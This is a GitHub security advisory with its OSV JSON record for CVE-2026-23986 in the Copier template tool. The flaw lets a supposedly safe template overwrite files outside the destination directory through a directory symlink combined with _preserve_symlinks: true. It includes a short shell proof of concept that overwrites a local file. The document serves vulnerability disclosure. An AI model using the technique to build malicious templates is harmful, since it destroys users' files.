GHSA-4FQP-R85R-HXQH
Vulnerability from github – Published: 2026-01-21 22:19 – Updated: 2026-01-22 15:40Impact
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with _preserve_symlinks: true and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.
[!NOTE]
At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using
os.scandirwhich yields directory entries in arbitrary order.
Reproducible example (may or may not work depending on directory entry yield order):
mkdir other/
pushd other/
echo "sensitive" > sensitive.txt
popd
mkdir src/
pushd src/
ln -s ../other other
echo "overwritten" > "{{ pathjoin('other', 'sensitive.txt') }}.jinja"
echo "_preserve_symlinks: true" > copier.yml
tree .
# .
# ├── copier.yml
# ├── other -> ../other
# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja
#
# 1 directory, 2 files
popd
uvx copier copy --overwrite src/ dst/
cat other/sensitive.txt
# overwritten
Patches
n/a
Workarounds
n/a
References
n/a
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "copier"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.11.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23986"
],
"database_specific": {
"cwe_ids": [
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T22:19:29Z",
"nvd_published_at": "2026-01-21T23:15:52Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nCopier suggests that it\u0027s safe to generate a project from a safe template, i.e. one that doesn\u0027t use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user\u0027s write permissions), e.g., to cause havoc.\n\n\u003e [!NOTE]\n\u003e\n\u003e At the time of writing, the exploit is non-deterministic, as Copier walks the template\u0027s file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order.\n\nReproducible example (may or may not work depending on directory entry yield order):\n\n```shell\nmkdir other/\npushd other/\necho \"sensitive\" \u003e sensitive.txt\npopd\n\nmkdir src/\npushd src/\nln -s ../other other\necho \"overwritten\" \u003e \"{{ pathjoin(\u0027other\u0027, \u0027sensitive.txt\u0027) }}.jinja\"\necho \"_preserve_symlinks: true\" \u003e copier.yml\ntree .\n# .\n# \u251c\u2500\u2500 copier.yml\n# \u251c\u2500\u2500 other -\u003e ../other\n# \u2514\u2500\u2500 {{ pathjoin(\u0027other\u0027, \u0027sensitive.txt\u0027) }}.jinja\n#\n# 1 directory, 2 files\npopd\n\nuvx copier copy --overwrite src/ dst/\n\ncat other/sensitive.txt\n# overwritten\n```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a",
"id": "GHSA-4fqp-r85r-hxqh",
"modified": "2026-01-22T15:40:13Z",
"published": "2026-01-21T22:19:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/copier-org/copier/security/advisories/GHSA-4fqp-r85r-hxqh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23986"
},
{
"type": "WEB",
"url": "https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6"
},
{
"type": "PACKAGE",
"url": "https://github.com/copier-org/copier"
},
{
"type": "WEB",
"url": "https://github.com/copier-org/copier/releases/tag/v9.11.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true "
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.